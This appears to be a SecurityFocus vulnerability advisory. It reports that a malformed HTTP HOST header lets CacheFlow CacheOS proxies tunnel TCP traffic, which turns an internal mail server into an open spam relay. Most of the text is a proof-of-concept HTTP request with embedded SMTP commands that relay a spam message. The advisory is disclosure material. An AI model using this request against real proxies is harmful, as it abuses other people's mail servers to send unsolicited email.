source: https://www.securityfocus.com/bid/8584/info

Malicious HTTP HOST header field can be used on CacheOS to tunnel arbitrary TCP connections through a HTTP request.

It has been reported that CacheFlow CacheOS may allow the misuse of the HOST header value. This may provide for the use of an internal mail server as an open relay for the purposes of sending unsolicited mass email.

GET / HTTP/1.1
HOST: mailserver.example.com:25
HELO .
mail from: spammer@example.com
rcpt to: target@example.com
DATA
Subject: Look Ma! I'm an open relay
HI, you've been spammed through an open proxy, because of a bug in the
OS code. Have a Great Day!
-Spammer